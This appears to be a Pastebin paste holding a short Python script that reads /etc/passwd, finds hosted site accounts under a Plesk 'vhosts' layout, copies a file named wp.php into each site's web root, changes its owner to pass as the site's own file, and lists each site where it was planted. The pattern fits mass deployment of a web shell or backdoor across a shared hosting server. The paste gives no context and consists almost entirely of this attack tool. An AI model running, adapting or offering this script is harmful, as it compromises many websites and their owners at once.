Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- from shutil import copyfile
- passwd = open("/etc/passwd").read()
- for i in passwd.splitlines():
- if "vhosts" in i:
- try:
- p = i.split(":")
- path = p[5] + '/httpdocs'
- owner = p[0]
- if os.path.isdir(path):
- copyfile("wp.php", path+"/wp.php")
- os.system("chown "+str(owner)+":psacln "+str(path)+"/wp.php")
- if os.path.isfile(path+'/wp.php'):
- print(path.split("vhosts")[1].replace("httpdocs","").replace("/","") + "/wp.php")
- except:
- pass
Add Comment
Please, Sign In to add comment